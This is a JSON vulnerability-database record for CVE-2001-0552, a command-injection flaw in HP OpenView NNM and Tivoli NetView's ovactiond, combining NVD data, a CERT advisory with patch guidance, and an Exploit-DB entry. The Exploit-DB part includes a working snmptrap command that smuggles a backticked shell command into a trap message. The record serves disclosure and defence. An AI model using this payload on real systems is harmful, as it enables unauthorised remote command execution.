{"id": "CVE-2001-0552", "bulletinFamily": "NVD", "title": "CVE-2001-0552", "description": "ovactiond in HP OpenView Network Node Manager (NNM) 6.1 and Tivoli Netview 5.x and 6.x allows remote attackers to execute arbitrary commands via shell metacharacters in a certain SNMP trap message.", "published": "2001-09-20T00:00:00", "modified": "2016-10-17T22:11:30", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0552", "reporter": "NVD", "references": ["http://www.cert.org/advisories/CA-2001-24.html", "http://www.securityfocus.com/bid/2845", "http://www.kb.cert.org/vuls/id/952171", "http://marc.info/?l=bugtraq&m=99201278704545&w=2"], "cvelist": ["CVE-2001-0552"], "type": "cve", "lastseen": "2017-04-18T15:49:29", "history": [{"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:hp:openview_network_node_manager:6.1", "cpe:/a:ibm:tivoli_netview:5.0", "cpe:/a:hp:openview_network_node_manager:5.01", "cpe:/a:ibm:tivoli_netview:6.0"], "cvelist": ["CVE-2001-0552"], "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "ovactiond in HP OpenView Network Node Manager (NNM) 6.1 and Tivoli Netview 5.x and 6.x allows remote attackers to execute arbitrary commands via shell metacharacters in a certain SNMP trap message.", "edition": 1, "hash": "70e0147275129b297ed61210f138c3f2e33700a800cbe29f4744e02f2331cd08", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "2d1b619409e84d71e488cf75f2b671de", "key": "cpe"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "d415892f9ced0c19b9c4d539c57b2010", "key": "cvelist"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "2bdabeb49c44761f9565717ab0e38165", "key": "cvss"}, {"hash": "2c1d5e8de3cb44569d6740899155f85c", "key": "references"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "9a59ac1128987f8ab2ef8930a6bcb77c", "key": "title"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "bd1d9aae99bb9f14c5147f40fd2d11af", "key": "href"}, {"hash": "185af218593e4000dc01d8fd26516341", "key": "modified"}, {"hash": "5699193f5366e918734d933010c25cc1", "key": "description"}, {"hash": "7c3616c075f6c12b73683349a44094d3", "key": "published"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0552", "id": "CVE-2001-0552", "lastseen": "2016-09-03T03:00:00", "modified": "2008-09-05T16:24:22", "objectVersion": "1.2", "published": "2001-09-20T00:00:00", "references": ["http://www.cert.org/advisories/CA-2001-24.html", "http://www.securityfocus.com/bid/2845", "http://www.kb.cert.org/vuls/id/952171", "http://marc.theaimsgroup.com/?l=bugtraq&m=99201278704545&w=2"], "reporter": "NVD", "scanner": [], "title": "CVE-2001-0552", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 1, "lastseen": "2016-09-03T03:00:00"}], "edition": 2, "hashmap": [{"key": "assessment", "hash": "6d3f4796275bb54c21a33b82f399cc6d"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "2d1b619409e84d71e488cf75f2b671de"}, {"key": "cvelist", "hash": "d415892f9ced0c19b9c4d539c57b2010"}, {"key": "cvss", "hash": "2bdabeb49c44761f9565717ab0e38165"}, {"key": "description", "hash": "5699193f5366e918734d933010c25cc1"}, {"key": "href", "hash": "bd1d9aae99bb9f14c5147f40fd2d11af"}, {"key": "modified", "hash": "9c1397354d50dc5afb1c0d39bf1c70a4"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "7c3616c075f6c12b73683349a44094d3"}, {"key": "references", "hash": "041be3d4dc52aa42e8428a284888b8e2"}, {"key": "reporter", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "scanner", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "title", "hash": "9a59ac1128987f8ab2ef8930a6bcb77c"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "c28659e575900708975360a0abb068702f4292f69a8bf9a91e2c96b7752a45d0", "viewCount": 1, "objectVersion": "1.2", "cpe": ["cpe:/a:hp:openview_network_node_manager:6.1", "cpe:/a:ibm:tivoli_netview:5.0", "cpe:/a:hp:openview_network_node_manager:5.01", "cpe:/a:ibm:tivoli_netview:6.0"], "assessment": {"href": "", "name": "", "system": ""}, "scanner": [], "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2017-04-18T15:49:29"}, "vulnersScore": 7.5}}

{"cert": [{"lastseen": "2018-08-31T02:38:07", "references": ["http://www.cert.org/advisories/CA-2001-24.html", "http://www.securityfocus.com/bid/2845", "http://www.openview.hp.com/", "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CAN-2001-0552", "http://www.tivoli.com/products/index/netview/", "http://www.tivoli.com/support/ ", "http://www.tivoli.com/support/", "http://www.tivoli.com/support/", "http://us-support.external.hp.com/cki/bin/doc.pl/screen=ckiDisplayDocument?docId=200000055277985 "], "description": "### Overview\n\nHewlett Packard's (HP) OpenView and Tivoli NetView are system management software packages. There is a vulnerability a component of these packages, ovactiond, that allows intruders to execute arbitrary commands as user bin. This may subsequently lead to a root compromise. \n\n### Description\n\nHP [OpenView](<http://www.openview.hp.com/>) and Tivoli [NetView](<http://www.tivoli.com/products/index/netview/>) are set of tools to manage large networks. Part of OpenView and NetView is a daemon called ovactiond, which is the SNMP trap and event handler. It is possible for an intruder to execute arbitrary commands by sending a malicious message to a vulnerable version of ovactiond. These commands run with the privileges of the ovactiond process, typically bin on Unix systems, and SYSTEM on Windows NT/2000. Often it is possible to use this access to gain root access on Unix systems. An exploit is publicly available. Note that Tivoli NetView is not vulnerable via the default configuration, however, it is likely that customized configurations are vulnerable HP is vulnerable by the default configuration. \n\nFor more information, see HP Security Bulletin HPSBUX0106-154 and <http://www.tivoli.com/support/>. \n \nIt has been confirmed with HP that the patch referenced on Security Focus for OpenView Version 5.01 is only for Version 6.1. \n \n--- \n \n### Impact\n\nAn intruder can execute arbitrary commands with the privileges of the ovactiond process, typically bin on Unix systems, and SYSTEM on Window NT/2000 systems. \n \n--- \n \n### Solution\n\nApply patches from your vendor as appropriate. HP has released HP Security Bulletin HPSBUX0106-154. Tivoli has information posted on <http://www.tivoli.com/support/>. \n \n--- \n \n### Systems Affected \n\nVendor| Status| Date Notified| Date Updated \n---|---|---|--- \nCompaq Computer Corporation| | 21 Jun 2001| 15 Aug 2001 \nHewlett Packard| | 15 Jun 2001| 24 Aug 2001 \nIBM| | 21 Jun 2001| 15 Aug 2001 \nMicrosoft| | 15 Jun 2001| 15 Aug 2001 \nSun| | 15 Jun 2001| 15 Aug 2001 \nTivoli| | 27 Jun 2001| 15 Aug 2001 \nApple| | 21 Jun 2001| 15 Aug 2001 \nComputer Associates| | 07 Aug 2001| 15 Aug 2001 \nFreeBSD| | 21 Jun 2001| 15 Aug 2001 \nFujitsu| | 21 Jun 2001| 15 Aug 2001 \nBSDI| | 21 Jun 2001| 15 Aug 2001 \nCaldera| | 21 Jun 2001| 15 Aug 2001 \nDebian| | 21 Jun 2001| 15 Aug 2001 \nDg| | 21 Jun 2001| 15 Aug 2001 \nNEC| | 21 Jun 2001| 15 Aug 2001 \nIf you are a vendor and your product is affected, [let us know](<mailto:cert@cert.org?Subject=VU%23952171 Vendor Status Inquiry>). \n \n\n\n### CVSS Metrics \n\nGroup | Score | Vector \n---|---|--- \nBase | N/A | N/A \nTemporal | N/A | N/A \nEnvironmental | N/A | N/A \n \n### References\n\n * <http://us-support.external.hp.com/cki/bin/doc.pl/screen=ckiDisplayDocument?docId=200000055277985>\n * <http://www.tivoli.com/support/>\n * <http://www.securityfocus.com/bid/2845>\n\n### Credit\n\nOur thanks to Milo G. van der Zee, who reported this problem to us and to Hewlett-Packard for the information contained in their advisory. \n\nThis document was written by Jason Rafail.\n\n### Other Information\n\n * CVE IDs: [CAN-2001-0552](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CAN-2001-0552>)\n * CERT Advisory: [CA-2001-24](<http://www.cert.org/advisories/CA-2001-24.html>)\n * Date Public: 08 Jun 2001\n * Date First Published: 21 Jun 2001\n * Date Last Updated: 06 Sep 2001\n * Severity Metric: 44.89\n * Document Revision: 18\n\n", "edition": 3, "reporter": "CERT", "published": "2001-06-21T00:00:00", "title": "Hewlett Packard OpenView and Tivoli NetView do not adequately validate SNMP trap arguments", "type": "cert", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "bulletinFamily": "info", "cvelist": ["CVE-2001-0552", "CVE-2001-0552"], "modified": "2001-09-06T00:00:00", "id": "VU:952171", "href": "https://www.kb.cert.org/vuls/id/952171", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitdb": [{"lastseen": "2016-02-02T15:15:55", "osvdbidlist": ["11341"], "references": [], "edition": 1, "description": "IBM Tivoli NetView 5/6 OVActionD SNMPNotify Command Execution Vulnerability. CVE-2001-0552. Remote exploits for multiple platform", "reporter": "Milo van der Zee", "published": "2001-06-08T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "exploitdb", "title": "IBM Tivoli NetView 5/6 OVActionD SNMPNotify Command Execution Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2001-0552"], "modified": "2001-06-08T00:00:00", "id": "EDB-ID:20909", "href": "https://www.exploit-db.com/exploits/20909/", "sourceData": "source: http://www.securityfocus.com/bid/2845/info\r\n\r\novactiond is part of the system management software packages OpenView and Netview, distributed by HP and IBM. It is designed for use on enterprise systems, and offers remote administrative facilities.\r\n\r\nA problem with the software makes it possible for a remote user to execute commands on a managed system with the privileges of the ovactiond process (often 'bin' on Unix systems). The default configuration of the daemon as installed with HP OpenView enables the execution of commands upon receiving a trap with the command encapsulated in quotes and escapes. Tivoli Netview is not vulnerable to this by default, but may be if customized.\r\n\r\nsnmptrap -v 1 <NNM host> .1.3.6.1.4.1.11.2.17.1 1.2.3.4 6 60000208 0 1 s \"\" 2 s \"\" 3 s \"\\`/usr/bin/X11/hpterm -display <your client display>\\`\" 4 s \"\" [snip...] 12 s \"\" ", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/20909/"}], "osvdb": [{"lastseen": "2017-04-28T13:20:06", "references": [], "edition": 1, "description": "# No description provided by the source\n\n## References:\nKeyword: Network Node Manager\nISS X-Force ID: 6683\n[CVE-2001-0552](https://vulners.com/cve/CVE-2001-0552)\nCERT VU: 952171\nCERT: CA-2001-24\nBugtraq ID: 2845\n", "reporter": "OSVDB", "published": "2001-06-08T00:00:00", "title": "HP OpenView NNM/Tivoli NetView ovactiond Arbitrary Command Execution", "type": "osvdb", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "bulletinFamily": "software", "affectedSoftware": [], "cvelist": ["CVE-2001-0552"], "modified": "2001-06-08T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:11341", "id": "OSVDB:11341", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}